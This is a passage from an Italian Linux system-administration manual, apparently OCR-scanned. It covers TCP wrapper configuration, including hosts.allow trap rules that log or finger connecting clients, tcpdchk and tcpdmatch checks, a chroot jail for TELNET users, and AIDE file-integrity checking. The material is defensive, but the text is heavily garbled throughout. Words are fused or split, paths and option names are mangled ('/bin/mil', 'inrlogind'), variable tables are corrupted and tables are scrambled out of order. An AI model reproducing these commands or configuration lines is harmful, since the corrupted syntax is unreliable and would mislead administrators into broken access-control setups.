tore sprovvisto di altre misure di controllo degli acceB&rtanto
dal momento che é relativamente semplice attivare un filtpac-
chetto, il TCP wrapper tende a essere dimenticato, lasciancki
i suoi file di configurazione.

43.4.1 Limiti e particolaritd del TCP wrapper

In generale, le connessioni RPC non si riescono a conteoiéanil-
mente con il TCP wrapper; inoltre, i servizi annotati comedRFCP
nel file di configurazione del supervisore dei servizi di reta sono
gestibili attraverso il programmacpd’.

Alcuni demoni UDP e RPC rimangono attivi al termine del lcae |
voro, in attesa di un’ulteriore richiesta eventuale. Quesivizi so-
no registrati nel file/ et c/i netd. conf’ con l'opzione‘wait’ e
cosi si possono riconoscere facilmente. Come si puo intsiie la
richiesta che li avvia puo essere controllatatdzspd’.

Alcuni dettagli di funzionamento dt cpd’ sono definiti in fase di
compilazione dei sorgenti. Si tratta in particolare dglfmne di
compilazione - DPARANO D', con la quale € come se fosse sempre
attivo il jolly ‘PARANO D' nei file‘/ et c/ hosts. al | ow e‘/etc/
host s. deny’. Di solito, i pacchetti gia compilati del TCP wrap-
per sono stati ottenuti senza questa opzione, in modo darlaeda
liberta di configurarlo come si vuole.

Un altro elemento che puo essere definito con la compilazio-
ne ¢ il tipo di direttive che si possono accettare nei ‘flet c/
hosts. allow e ‘/etc/ hosts. deny’. Le due sintassi possibi-

li sono descritte in due documenti separdibsts_access(5¢
hosts_options(5)

43.4.2 Configurazione del TCP wrapper

Qui si mostra in particolare la sintassi dei filet ¢/ host s. al | ow
e‘/ et c/ hosts. deny’, quando nella fase di compilazione tepd’
non ¢ stata abilitata I'estensionPROCESS_OPTI ONS’; in pratica
si tratta della sintassi piu limitata. Negli esempi si mast an-
che le corrispondenze con il secondo tipo di formato che gsere
approfondito leggendbosts_options(5)

elenco_di_demoni: elenco_di_clienti[ : comandn_di_shell]

La sintassi mostrata si riferisce al tipo pit semplice dirfato delle
direttive di questi file; eventualmente potrebbe essesfdrmata in
quello piu complesso nel modo seguente:

elenco_di_demoni: elenco_di_clienti[ : spawn comando_di_shell]

Quando non si sa quale sia il formato giusto per il profiricpd’,
basta provare prima quello piu semplice. Se non va bene si|ved
subito la segnalazione di errore nel registro del sistema.

| primi due elementi, I'elenco di demoni e I'elenco di cligrgono
descritti nella seziond6.1 Vale forse la pena di ricordare che que-
sti «elenchi» sono semplicemente nomi o modelli separaspaai
orizzontali, cosa che spiega la necessita di dividere iozaripi delle
direttive attraverso i due punti verticali.
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Cio che appare a partire dal terzo campo di queste direti®leca-
S0 mostrato si tratta di un comando di shell, ma con la sinpass
complessa si parla piuttosto di opzioni), puo contenerie datiabi-
li, rappresentate da un simbolo di percentualé)(seguito da una
lettera, le quali vengono espanse ‘tlapd’ ogni volta che viene
verificata la corrispondenza con quella direttiva deteatairche le
contiene (tabella 43.41).

Tabella 43.41. Elenco delle variabili utilizzabili in aloer parti
delle direttive dei file di controllo degli accessi.

Sicurezza e controllo

Variabile Contenuto

va L’indirizzo del nodo cliente.

YA L’indirizzo del nodo servente.

v Linformazione completa del nodo cliente per quahto
disponibile.

%l I nome del processo del demone.

o I nome del nodo cliente o I'indirizzo se il nome non e
disponibile.

o I'nome del nodo servente o Tindirizzo se il nome noh e
disponibile.

% I nome del nodo cliente unknown’ 0 ‘par anoi d’.

I I nome del nodo servente‘anknown’ 0 ‘par anoi d’.

% Il numero del processo del demone.

% Informazione completa del nodo servente per quanto
disponibile.

i I nome dell'utente del nodo cliente'anknown’.

9% Un simbolo di percentuale singolo.

Una direttiva pud contenere il simbolo di due punti} all'interno
di certi campi. In tal caso, per evitare che questi si conémraccon la
separazione dei campi, occorre precedere tale simboloacbarta
obliqua inversa:\ : ’.

Una direttiva pud essere interrotta e ripresa nella rigaesgiva se
alla fine della riga appare una barra obliqua inversa, siitoa del
codice di interruzione di riga.

Ogni volta che si modifica uno di questi file, & indispensakzie-
ficare che nel registro di sistema non appaiano indicazierdri
di sintassi. Un problema tipico che siincontra € dovuto @bfehe
ogni direttiva deve terminare con un codice di interruzidne-
ga. Se alla fine di una direttiva terminasse anche il file, f[gues
costituirebbe un errore che ne impedirebbe il riconosctmen

43.4.2.1 Demoni e clienti specificati in modo pil preciso

«
| primi due campi delle direttive di questi file, permettonandiicare
con piu precisione sia i demoni, sia i clienti che accedono.

Quando il servente ha diversi indirizzi IP con cui puo essage
giunto, & possibile indicare nel primo campo un demone intdom
nazione con un indirizzo particolare dal quale provienédaiesta.
In pratica, il primo campo diventa un elenco di elementi deb t
seguente:

demone@nodello_servente

Il demone puod essere indicato per nome, oppure puo essese ales
suo posto il jolly‘ALL’ che li rappresenta tutti.

I modello del servente serve a rappresentare questi mdjer no-

me o per numero. Valgono anche in questo caso le regole con ct
si possono definire i nomi e gli indirizzi di clienti, ancher ggianto
riguarda le indicazioni parziali (un intero dominio o un gpo di
indirizzi).
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Piu interessante € invece la possibilita di ottenere dal We&tpper
la verifica del nominativo-utente del processo avviato dahte per
la connessione. Si veda per questo, quanto gia descritreaegen-
za al riguardo del protocollo IDENT. Basta utilizzare net@edo
campo la sintassi seguente:

volume | Sistemi GNU/Linux

modello_utente@nodello_cliente

Utilizzando questa format cpd’, prima di concedere I'accesso al
servizio, interpella il cliente attraverso il protocollDENT, per ot-
tenere il nome dell'utente proprietario del processo chestaurato
la connessione.

Se il cliente non risponde a questo protocollo, si crea unaadi
ritardo di circa 10 s. Implicitamente si penalizzano tulitiugenti
che usano sistemi operativi diversi da Unix e derivati.

Una volta ottenuta la risposta, o quando scade il tempo, guoO e
sere fatto il confronto con la direttiva. In ogni caso, qoett

po di direttiva fa si che venga aggiunta questa informaziosle
registro del sistema.

I modello dell’'utente pud essere un nome puro e sempliceuE
un jolly: “‘ALL’, ‘KNOWN' e ‘UNKNOWN' . Il significato € intuitivo: tutti
gli utenti; solo gli utenti conosciuti; solo gli utenti saastiuti.

Il modello del cliente & quello gia visto in precedenza: namteri;
nomi parziali che iniziano con un punto; indirizzi IP intaridirizzi
IP parziali che terminano con un punto; jolly vari.

E bene ribadire che I'informazione sull’'utente restituitd proto-
collo IDENT, non é affidabile. Un sistema compromesso pdiee
essere stato modificato in modo da restituire informazialsif

o

43.4.2.2 Comandi dishell

Il terzo campo delle direttive di questi file, permette didrise
un comando di shell. Quando un accesso trova corrispondsmza
una direttiva contenente un comando di shell, questo comwaied
ne eseguito; mentre I'accesso viene consentito se la pormienza
avviene all'interno del fil¢/ et ¢/ host s. al | ow.

Il comando puo contenere le variabili descritte nella tabéB8.41,
che sono utili per dare un senso a questi comandi.

I comando viene eseguito utilizzando l'interprétdi n/ sh’, con-
nettendo standard input, standard output e standard élsp®si-
tivo ‘/ dev/ nul | '. Generalmente, alla fine del comando viene indi-
cato il simbolo‘&, in modo da metterlo sullo sfondo, per evitare di
dover attendere la sua conclusione.

Questi comandi non possono fare affidamento sulla varidbéen-
bientePATH per I'avvio degli eseguibili, per cui si usando general-
mente percorsi assoluti, a meno che questa variabile gialiazata
esplicitamente all'interno del comando stesso.

43.4.2.3 Esempi e frappole

Seguono alcuni esempi che dovrebbero chiarire meglio ldeke
direttive dei file‘/ et c/ host s. al | ow e‘/ et ¢/ host s. deny’.

In tutti gli esempi mostrati si suppone che il fileet c/ host s.
deny’ contenga solo la direttiveALL: ALL’, in modo da esclude-
re ogni accesso che non sia stato previsto espressamerfiee nel
‘/etc/ hosts.allow.

# /etcl/hosts.all ow

#
| ALL © ALL@LL
Supponendo che questa sia l'unica direttiva del‘filgt c/ host s.
al | ow, siintende che vengono consentiti esplicitamente tutigl
cessi a tutti i servizi. Tuttavia, avendo utilizzato la famLL@\LL’
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nel secondo campo, si attiva il controllo dell’'identitaldeente del
cliente, ottenendone I'annotazione del registro del siate
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[ # Ietclhosts. al l ow
#

ALL @ KNOWN@ALL
La direttiva combacia solo con accessi in cui gli utenti sian
identificabili.

[ # Ietclhosts. al l ow

intelnetd : ALL : ( /usr/sbin/safe_finger -I
| /bin/mail -s '%l-%@®& root ) &

Si tratta di una trappola con cui I'amministratore vuoleeessavvi-
sato di ogni tentativo di utilizzo del servizio TELNET. Il cando
avvia‘saf e_finger’ (una versione speciale di Finger che accom-
pagna il TCP wrapper) in modo da conoscere tutti i dati pdssib
sugli utenti connessi alla macchina cliente, inviandosultiato al
comandoni | * per spedirlo ar oot .

Molto probabilmente, 'amministratore che prepara questppio-
la, potrebbe fare in modo che il demofen. t el netd’ non sia
disponibile, cosi che la connessione venga comunque téiuta

Se fosse stato necessario utilizzare I'altro tipo di foonzer le di-
rettive di questi file, 'esempio appena mostrato sareblseguen-
te: si aggiunge la parola chiavepawn’ che identifica I'opzione
corrispondente.

@6

‘ # [ etc/hosts. al |l ow

intelnetd : ALL : spawn ( /usr/sbin/safe_finger -I
| /bin/mil -s '%l-%u@®& root ) &

L’esempio seguente mostra un tipo di trappola meno tenyoesti
in cui ci si limita ad aggiungere un’annotazione particelael re-
gistro del sistema per facilitare le ricerche successive\arso

@h

‘grep’.

‘ in.telnetd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: % % ) &
in.rshd : ALL@\LL : ( /usr/bin/logger TRAPPOLA\: %l % ) &
in.rlogind : ALL@LL : ( /usr/bin/logger TRAPPOLA\: %l % ) &
in.rexecd : ALL@LL : ( /usr/bin/logger TRAPPOLA\: % % ) &
i pop2d : ALL@LL : ( /usr/bin/logger TRAPPOLA\: %l % ) &
i pop3d : ALL@\LL : ( /usr/bin/logger TRAPPOLA\: % % ) &
i mapd : ALL@\LL : ( /usr/bin/logger TRAPPOLA\: %l % ) &
in.fingerd : ALL@LL : ( /usr/bin/logger TRAPPOLA\: %l % ) &

Se necessario occorre aggiungere la parola chépeewn’:

‘ intelnetd : ALL@LL : spawn ( /usr/bin/logger TRAPPOLA': % % ) &
in.rshd : ALL@\LL : spawn ( /usr/bin/logger TRAPPOLA\: % % ) &
inrlogind : ALL@LL : spawn ( /usr/bin/logger TRAPPOLA\: % % ) &
in.rexecd : ALL@LL : spawn ( /usr/bin/logger TRAPPOLA': % % ) &
i pop2d : ALL@\LL : spawn ( /usr/bin/logger TRAPPOLA\: % % ) &
i pop3d : ALL@LL : spawn ( /usr/bin/logger TRAPPOLA\: % % ) &
i mapd : ALL@\LL : spawn ( /usr/bin/logger TRAPPOLA\: % % ) &
infingerd : ALL@LL : spawn ( /usr/bin/logger TRAPPOLA\: % % ) &

Trattandosi di servizi che non si vogliono offrire (altrinienon ci
sarebbe ragione di registrare tanto bene gli accessi)eanauesto
caso € opportuno che i demoni corrispondenti non ci sianpuie
che i rispettivi eseguibili siano sostituiti da una copidl@stesso
programmat cpd’.

Si osservi in particolare che all'interno del comando appbsim-
bolo di due punti protetto da una barra obliqua. Se non sistaxe
cosi, potrebbe essere interpretato come I'inizio di un pu@mpo.

43.4.2.4 Comandi e servizi UDP

«
| servizi UDP non si prestano tanto per la creazione di trépo
causa del fatto che non si instaura una connessione comase! ¢
del protocollo TCP. Il caso piu importante di questo protdentap-
presentato dal servizio TFTP che, se controllato dal TCHper
potrebbe apparire nel fité et c/ i net d. conf’ nel modo seguente:

[tftp dgram udp wai t root

Se si creasse una direttiva come quella seguente,

/usr/sbin/tcpd in.tftpd |
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# letc/hosts.all ow

intftpd : ALL : ( /usr/sbhin/safe_finger -1
| /bin/mail -s ' %-%@®& root ) &

si rischierebbe di avviare il comando di shell un gran nuntiro
volte. Si puo limitare questo problema modificando la rigatenuta
nel file‘/ et ¢/ i net d. conf’ nel modo seguente:

@h -

[titp wait.2 root

In tal modo, si accetterebbero un massimo di due tentatiimlito.

dgram udp /usr/sbhin/tcpd in.tftpd\

E il caso di ribadire che in generale, dovendo realizzarke dieip-
pole per servizi UDP, conviene eliminare del tutto il demdiagé,
file system.

43.4.3 Verifica della configurazione

Il programma‘t cpdchk’® permette di controllare la configurazio-
ne del TCP wrapper, indicando problemi possibili ed evenieate
anche dei suggerimenti per la loro sistemazione.

t cpdchk [ opzion]

Il programma ‘t cpdchk’ analizza i file ‘/ etc/inetd. conf’,
‘/etc/ hosts. all ow e‘/ etc/ hosts. deny’. Trai vari tipi di ve-
rifiche che vengono eseguite, ci sono anche i nomi utilizzetii
nodi e i domini NIS. In tal senso, per avere un controllo piagpr
S0, & opportuno utilizzare cpdchk’ anche quando il sistema viene
collegato in rete, avendo accesso alla configurazione delBNS

e del NIS.

Opzione Descrizione
Esamina i file*. /hosts.allow e ./

-d host s. deny’, cioe quelli che si trovano
nella directory corrente.

Si file_inetd Specifica il file da utilizzare al posto di
‘/etc/inetd. conf’.

43.4.4 Verifica delle corrispondenze

Il programma‘t cpdnat ch’ 1° permette di verificare il comporta-
mento della configurazione simulando delle richieste. &tipa, ve-
rificail contenuto di/ et c/ i netd. conf’,*/ etc/ hosts. al | ow e

‘/ et c/ host s. deny’, mostrando quello che succederebbe con una
richiesta di connessione determinata.

t cpdnat ch [ opzion] demonf @erven@ [ utente@ cliente

E obbligatoria l'indicazione di un demone, con I'eventuatgiun-
ta dell'indicazione del servente quando si possono digéng per
questo degli indirizzi diversi; inoltre € obbligatoriardicazione del
cliente, con I'eventuale aggiunta dell’'utente.

Nell'indicazione del servente si possono usare anche i jol-
ly ‘UNKNOMW e ‘PARANO D'; il valore predefinito, se questa
indicazione manca, ‘@NKNOM .

L'utente pud essere indicato per nome o per numero UID; aimche
questo caso si ammette il jolNKNOWN', che € il valore predefinito
in mancanza di questa indicazione.

[ Opzione Descrizione
Esamina i file'./hosts.allow e ‘. /

-d host s. deny’, cioe quelli che si trovano
nella directory corrente.

Si file_inetd Specifica il file da utilizzare al posto di
‘/etc/inetd. conf’.

Segue la descrizione di alcuni esempi.

® # tcpdmatch in.telnetd | ocal host [Invio]

Verifica il comportamento della configurazione per una gehi
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sta di accesso al servizio TELNET, corrispondente al demone
‘i n. tel netd’, da parte del nodtmcalhost
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®# tcpdmatch in.telnetd tizio@ oggen. brot. dg][Invio]

Verifica il comportamento della configurazione per una gehi
sta di accesso al servizio TELNET, corrispondente al demone
‘i n.tel netd’, da parte dell'utenteti zi o’ dal nodoroggen.
brot.dg

®# tcpdmatch in.tel netd@linkel . brot.dg .-
- tizi o@oggen. brot. dg[Invio]
Verifica il comportamento della configurazione per una gehi
sta di accesso al servizio TELNET, corrispondente al demo-
ne ‘i n. tel netd’, proveniente dall'interfaccia corrispondente
al nomedinkel.brot.dg da parte dell’'utentéti zi o’ dal nodo
roggen.brot.dg

43.4.5 Un Finger speciale

«
Il programma'saf e_f i nger ' & un cliente Finger che, da quanto
indicato nella documentazione originale, dovrebbe egseradatto
per la creazione di trappole attraverso i comandi di shell.

Le sue funzionalita sono le stesse del comamdager’ normale e
non viene indicato altro nella documentazione originale.

43.4.6 Verifica della propria identificazione
«
Il programmat ry- f r omi*? permette di verificare il funzionamento

del sistema di identificazione del servente e del clientaitiBzza
nel modo seguente:

rsh nodo /usr/sbin/try-from

Di solito, questo programma si utilizza per verificare il prio si-
stema. Per fare un esempio, si immagina di essere |'uteate’

che dal nodalinkel.brot.dgsi connette al suo stesso elaboratore per
avviare'try-from.

$ rsh dinkel.brot.dg /usr/sbin/try-from[lInvio]

192.168.1.1

di nkel . brot. dg

cai o

cai o@li nkel . brot . dg
192.168.1.1

di nkel . brot. dg

client
client
client
client
server
server
server
server

address (%) :
host nane (%) :
usernane (%) :
info (%) :
address (%A):
host name (%) :
process (%l): try-from

info (%) try-from@inkel.brot.dg

Dal risultato che si ottiene, si pud determinare che anckerilizio
IDENT dell'elaboratoredinkel.brot.dgvisto come cliente) funziona
correttamente.

43.5 Cambiare directory radice
«
| sistemi Unix, offrono generalmente una funzione che pérme

te di fare funzionare un processo in un file system ridottagun
una certa directory diventa temporaneamente la sua nuocsetah
ry radice. Si tratta della funzionehroot(), che nel caso di siste-
mi GNU/Linux, puo essere utilizzata solo da un processo con i
privilegi dell’'utente ‘r oot ’.

Le distribuzioni GNU/Linux mettono normalmente a dispasie

il programma‘chr oot *** che permette di utilizzare in pratica que-
sta funzione. In alternativa, ne esiste un’altra versiarégptamente
funzionante con GNU/Linux (anche se non si trova nelle itis#io-
ni), che offre il vantaggio di fondere le funzionalita'dhr oot * e di
‘su’; sitratta di‘chr oot ui d’ di Wietse Venema.

chroot directory [ comandr]

chroot ui d directory utente comando
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| programmi di servizio che si occupano di ridefinire la diceg ra-
dice temporaneamente, per circoscrivere 'ambiente dirongsso
determinato (e dei suoi discendenti), richiedono l'indicae della
directory che deve diventare la nuova directory radice @dmjram-
ma da avviare al suo interno. Ma il processo da avviare in quest
ambiente deve trovare [i tutto quello che gli puo servire gsempio

le librerie, o altri programmi se il suo scopo e quello di areialtri
sottoprocessi. Viene proposto un esempio pratico:
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# nkdir /tnp/ nuova_root [Invio]
# cp -dpR /bin /shin /lib /etc /tnp/nuova_root [Invio]

Con quanto preparato in questo modo, si puo avviare unaciecelt
scritta all’ambito della directory/ t np/ nuova_r oot/ ’, che viene
fatta diventare appunto la nuova directory radice.

# chroot /tnp/nuova_root /bin/bash[Invio]

Con questo comando, si fa in modo che venga utilizzata ladnez
chroot() perché'/ t np/ nuova_r oot /' diventi la directory radice
per il processo avviato conbi n/ bash’. E importante comprendere
che'/ bi n/ bash’ va inteso qui come parte del sotto-file system e si
tratta in generale di t np/ nuova_r oot / bi n/ bash’.

Per concludere I'esempio, una volta verificato che si starkawv
do effettivamente in un ambiente ristretto, basta fare iteare il
processo per cui € stata cambiata la directory radice, bih’.

# exit [Invio]

La definizione di un sotto-file system, permette di isolaferiziona-
mento di un programma che potrebbe costituire un pericotpudi-
che tipo. Per esempio un servizio di rete che si teme posszntre
un qualche accesso non autorizzato.

Si potrebbe immaginare la possibilita di creare delle wgeénzui gli
utenti non possano girovagare nel file system, limitandtéirabito
di un sotto-file system appunto. Tuttavia, dal momento chsiste-
ma GNU/Linux non permette I'utilizzo della funziorghroot() agli
utenti comuni, di fatto non e possibile, almeno con i mezzimali.

43.5.1 Un esempio pratico: TELNET

Viene qui mostrato in che modo potrebbero essere createutelh-
ze per l'accesso remoto attraverso TELNET, per escludezegtih
utenti possano accedere a parti vitali del sistema. L'eggwipne
indicato solo in linea di massima, trascurando dettagli d@éeono
poi essere definiti da chi volesse utilizzare tale sisteralrente e
in modo serio.

Per semplificare le cose, si pud creare una copia del sistpera-o
tivo in funzione, a partire da una sottodirectory (ammessoai sia
abbastanza spazio disponibile nel disco fisso). Si suppbfeela
nella directory/ si cura/ .

# nkdir /sicuraflnvio]

# cp -dpR /bin /dev /etc /home /lib /opt /root /sbin /usr ..
- /var [sicurallnvio]

# nkdir /sicuraltnp[Invio]
# chnod 1777 /sicuraltnp[Invio]
# nkdir /sicural/ proc [Invio]
# chnod 0555 /sicural proc [Invio]

Quindi si «entra» in questo sistema e sifa un po’ di pulidimiean-

do in particolare tutto quello che nella directogt ¢/’ non serve.
Infatti, si deve considerare che in questo piccolo ambieoteesi-
ste una procedura di inizializzazione del sistema, noriesbavvio

di programmi demone e non si configura la rete. L'unica atterez
deve essere data alla configurazione delle shell che sioragpoter
utilizzare.

# chroot /sicurallnvio]
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# exit [Invio]

Il sistema circoscritto appena creato, puo avere delledita a fun-
zionare in un sistema GNU/Linux, a causa della mancanzaael ¢
tenuto della directorypr oc/’ che dovrebbe essere innestato anche
li. Questo innesto pud essere definito convenientementeaite
per tutte nel file/ et ¢/ f st ab’ del file system normale, avendo cosi
due punti di innesto diversi e simultanei.

[ # letclfstab

defaul ts
defaul ts

none
none

/ proc
/ sicural proc

proc
proc

o o
o o

Si potrebbe valutare la possibilita di non lasciare I'asd@bta
alle informazioni di questa directory. Si puo provare a vedse
le attivita che si vogliono concedere agli utenti sono campesse
dalla sua mancanza. Se il disagio é tollerabile, € megli@evdi
innestare la directory proc/ ' quando tutto & pronto.

Una volta sistemato questo particolare, tutto funzionalimeg! si-
stema che si articola dalla directorysi cur a/ . Per fare in modo
che il servizio TELNET utilizzi questo spazio riservatogdsive mo-
dificare il file di configurazione del supervisore dei serdiziete del
file system normale; per esempio, nel caso di Inetd, il*fiket c/

i net d. conf’ va modificato in un modo simile a quello seguente:

telnet stream tcp nowai t root

“—~/sicural/tel netd

/usr/sbin/tcpd >

Come si vede, per I'avvio del servizio e stato indicato Igpsbile
‘/'si curaltel netd’, che in pratica & uno script di shell che con-
tiene la chiamata del comandchr oot ’, prima dell’avvio del vero
demonein. tel netd’.
[ # /bin/sh

chroot /sicura /usr/sbin/in.telnetd
In questo caso, quanto indicato com@sr/ shin/in.tel netd’,
einrealta/ si cura/ usr/sbin/in.tel netd.

Una volta definito questo, dopo aver innestato anche la tdinec
‘/'si cural proc/’ e dopo aver riavviato il supervisore dei servi-
zi di rete, si pud accedere con un cliente TELNET nel propkio s
stema locare come utenteoot ’, per sistemare le cose (per farlo,
temporaneamente, occorre che il filesi cura/ et c/ securetty’
preveda anche i dispositivi dev/ t t yp* ', oppure quelli che sono
utilizzati effettivamente per I'accesso attraverso TEINE

Una volta sistemate le cose come si desidera, si deve avae cu
di impedire I'accesso remoto da parte dell’'utemteot ’, tenendg
conto che al limite questo utente potrebbe anche esserelz@ac
allinterno di‘/ si cur a/ et ¢/ passwd’

# telnet |ocal host [Invio]

Una volta entrati nel mini sistema, dopo essersi accettatfenzio-
na (basta creare un file e su un’altra console virtuale veclegesi
trova collocato a partire dalla directotysi cur a/’), si comincia a
disinstallare tutto quello che non serve e che non si vualeidse
usare agli utenti. Probabilmente, tutto quello che rigadedconfi-
gurazione della rete dovrebbe essere eliminato, mentietgipro-
gramma cliente particolare potrebbe essere lasciato asispne
degli utenti.

Anche la directorydev/ ' dovrebbe essere controllata, lasciando al
suo interno solo i dispositivi indispensabili. Di certo negrvono i
dispositivi che permettono I'accesso a unita di memorizeez gli
utenti remoti non devono avere la possibilita di innestastéaccare
dischi.
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Gli stessi file‘etc/ passwd’ e ‘etc/ group’ (ed eventualmente
‘et ¢/ shadow') possono essere modificati per eliminare tutti gli
utenti di sistema, compresooot ', il quale potrebbe comunque es-
sere aggiunto nel momento in cui si volesse fare qualchevierieo
dallinterno). In pratica, si tratterebbe di lasciare sglbutenti del
servizio TELNET.

Altri programmi affini.

fakeroot(1y* Avvia un programma, fingendo di disporre dei privilegi
dell'utente'r oot '.
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fakechroot(1¥

43.6 Verifica dell'integritd dei file con AIDE

Attraverso I'accumulo di codici di controllo € possibilerificare
I'integrita di file e di directory, contro I'uso improprio tsistema,
comprendendo eventualmente 'azione di un virus.

AIDE?¢ & un programma per la verifica dell'integrita dei file attrave
so il confronto con le informazioni accumulate precedeiet®, se-
gnalando le aggiunte, le rimozioni e le alterazioni di fileirectory.
Si tratta di uno strumento prezioso per scoprire gli utilizgpropri
del sistema comprendendo I'azione di cavalli di Troia ewiru

Il funzionamento di AIDE ¢ controllato da un file di configuiaz
ne, che generalmente e bene non lasciare nel file system pier mo
di sicurezza, inserendolo solo nel momento del bisogne fild

di configurazione viene identificato qui con il nonz de. conf’,
senza stabilire una collocazione ben precisa.

Nello stesso modo, anche il file contenente le informazioouenu-
late riguardo allo stato del file system va protetto, préferiente to-
gliendolo dal file system stesso, in modo da garantire chepnesa
essere letto e alterato.

43.6.1 Configurazione di AIDE: «aide.conf»

In generale, a parte i commenti che si indicano precedusiddiolo
‘#' e le righe che non contengono direttive, si distinguonortuppi:

« direttive di configurazione, con le quali si stabilisconelle
modalita di funzionamento generali;

« direttive di selezione, con le quali si stabiliscono qudé e
directory tenere sotto controllo;

* macroistruzioni.

Le direttive di configurazione hanno la forma seguente:

nome=valore

In particolare, quando il valore assegnato si riferisce élenviene
usata una forma descritta nella tabella 43.58. La desoezielle
direttive di configurazione appare invece nella tabell&43.

Tabella 43.58. Modalita di indicazione dei file nelle dinegtdi
configurazione.

Forma Descrizione

st dout Dati emessi attraverso lo standard output.
stderr Dati emessi attraverso lo standard error.
stdin Dati letti dallo standard input.

file://file  Sjfa riferimento al file indicato.

fdin Si fa riferimento al descrittore di fila.

1935

Sicurezza e controllo

Tabella 43.59. Direttive di configurazione principali.

Nome Predefinito Descrizione
File delle informa-
dat abase file://./aide.db zioni accumulate in

precedenza.
File delle informa-

file://./aide.db. new zioni da accumula-

dat abase_out

Fiie usato per eme
tere le informazion
sull'elaborazione.
Una direttiva di configurazione che fa riferimento a un norme n
conosciuto, serve a definire un gruppo. Cio puo essere utilees-
sivamente nelle direttive di selezione, dove si puo farerinfento
a questi gruppi senza dover ripetere sempre la stessa sispeesli
selezione. Questo viene mostrato meglio successivamente.

Le direttive di selezione hanno il formato seguente:

report _url st dout

{/| !| =} voce espressione

Il primo carattere definisce il modo in cui va interpretatdilttiva:

include un file, o una directory e tutto il suo contendto,
per la scansione e la verifica;
; escludere completamente un file, o una directory e futto
) il suo contenuto, dalla scansione e dalla verifica;
_ escludere il contenuto di una directory dalla scansiope e
dalla verifica.

/

Cio che segue il primo carattere & inteso come un’espresssn
golare che descrive uno o piu percorsi di file e directory.imkr-
no di queste espressioni regolari, la barra obliqgua normaleha
significato letterale.

Il confronto attraverso espressioni regolari avviene lsegestiong
e stata inclusa in fase di compilazione, pertanto cio pbeemche
mancare, funzionando solo un confronto letterale.

L’espressione che segue rappresenta il tipo di controllattiere,
attraverso l'indicazione di uno o piu gruppi. Questi «grispEono
parole chiave che definiscono in breve cio che deve essdfieatr,
queste parole chiave possono essere unite assieme insdrsinat
bolo‘+', ma puo essere usato anche il simbetoper sottrarre delle
verifiche incluse precedentemente. La tabella 43.62 elegagpi
predefiniti e di seguito vengono mostrati alcuni esempi eleari:

\ # Include la directory / e tutte le directory successive
| p+i +n+u+g+s+mtc+nmd5

# Esclude la directory /dev/
!/ dev

# Analizza esclusivanente |la directory /tnp/ senza il suo
# contenuto

=/tnp
Tabella 43.62. Elenco dei gruppi predefiniti.
Simbolo Descrizione
p Verifica dei bit dei permessi.
i Verifica del numero di inode.
n Numero di collegamenti fisici.
u Utente proprietario.
g Gruppo proprietario.
s Dimensione.
b Conteggio dei blocchi.
m Data di modifica.
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Simbolo Descrizione

a Data di accesso.

¢ Data di modifica dell'inode.

S Incremento di dimensione.

s Firma MD5.

shal Firma SHAL.

rmd160 Firma RMD160.

tiger Firma Tiger.

cre32 Firma CRC-32 (se incluso in fase di compilazione).
haval Firma Haval (se incluso in fase di compilazione).
gost Firma Gost (se incluso in fase di compilazione).
R Equivalente ap+i +n+u+g+s+m+c+md5’.

L Equivalente ap+i +n+u+g’.

E Gruppo vuoto.

> File delle registraziortip+i +n+u+g+S'.

In precedenza é stata descritta la possibilita di definifegoeppi
aggiuntivi nell’'ambito delle direttive di configurazionka sintassi
di questa direttiva particolare € la seguente:
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43.6.2 Utilizzo

«
Il programma‘ai de’ & quello che svolge il compito di scansione
e verifica dell'integrita dei file e delle directory specificael file
di configurazione. Si distinguono tre situazioni: la creaei del fi-
le contenente le informazioni sulla situazione attualeidiahe si
vuole tenere sotto controllo; I'aggiornamento di questerimazio-
ni in presenza di modifiche volontarie da parte del’amntiaisre;
la verifica di integrita, cioé il confronto di queste informani con
la situazione attuale.

ai de [ opzion]

A seconda di come viene compilato il programma, si statalisc
collocazione predefinita e il nome del file di configuraziondeé
file di registrazione delle informazioni. In generale, ceme utiliz-
zare le opzioni necessarie a specificare tali file, quandstgu®no
disponibili.

E da osservare che AIDE distingue nettamente tra il file cante
te le informazioni accumulate in precedenza e quello cheevie
generato dall’elaborazione. In generale si fa riferimexntai de.
db’ per le informazioni originali éai de. db. new per quelle che
vengono generate nuovamente. Una volta generato un fileopuov
e compito dell’'amministratore cambiargli nome o spostagdpor-
tunamente. Naturalmente, questa considerazione vale ajuemn-
do si usa I'opzioné- - updat e’ per aggiornare un elenco vecchio,
nel qual caso AIDE usa entrambi i file: uno in lettura e I'aling
scrittura.

nome_gruppo = gruppo_esisten{e{ +| —} gruppo_esisten}a...

In pratica, il segno+' aggiunge il controllo del gruppo che precede,
mentre il segno-’ sottrae il controllo del gruppo che precede. A
titolo di esempio, viene mostrata la definizione di un grupposo-
nalizzato, in cui si utilizza il gruppo predefinit® senza la verifica
della firma MD5:

[ Personale = R 5 |

Successivamente si pud utilizzare esattamente come i igrupg
predefiniti:

[ /usr Personal e |

E da osservare che i nomi usati nelle direttive di configarazisono
sensibili alla differenza tra maiuscole e minuscole.

Esempio Descrizione

Verifica la  director
‘/etc/’ e tutto il suo
contenuto in modo ricor-
sivo, verificando: i bit
dei permessi, i numeri di
inode, i riferimenti agli
inode, i numeri UID €
GID, le date di modifical
le date di creazione degli

inode e la firma MD5.
Esattamente come nell'e-

sempio precedente, da
/etc R momento che il gruppo
riassuntivoR rappresenta

le stesse cose.
Come nell’esempio prece-

/etc Rtshal dente, aggiungendo il con

trollo della firma SHAL.
Esclude qualunque verifj-

1/ home/ pi ppo ca a partire dal percorso
‘/ horre/ pi ppo/ .
Verifica esclusivamente [a
=/tnmp R directory ‘/tnp/’, senza
analizzarne il contenuto.

/etc p+i+n+u+g+s+mrc+nd5

Opzione Descrizione
Genera il file delle informazioni da
--init conservare, in base alle specifiche

della configurazione.

Aggiorna il file delle informazion
--update (legge quello vecchio e ne genera
uno nuovo).
Verifica T'integrita dei file seconf
do le informazioni accumulate in

- -check . .
precedenza, informando l'utente|di
conseguenza.

Consente di indicare esplicitamen-

- - confi g=file_di_configurazione te il file di configurazione da
utilizzare.

®# aide --init --config=/root/aide.conf [Invio]

Genera il file di raccolta delle informazioni, utilizzanda no-
me predefinito in base alla compilazione dei sorgenti, oppur
in base alla configurazione, che in questo caso viene irdicat
espressamente corig oot / ai de. conf’.

® # aide --update --config=/root/aide.conf [Invio]

Genera un nuovo file di raccolta delle informazioni aggitont
file di configurazione utilizzato & r oot / ai de. conf .

® # aide --check --config=/root/aide.conf [Invio]

Esegue una verifica di integrita, utilizzando il file di config-
zione'/ r oot / ai de. conf .

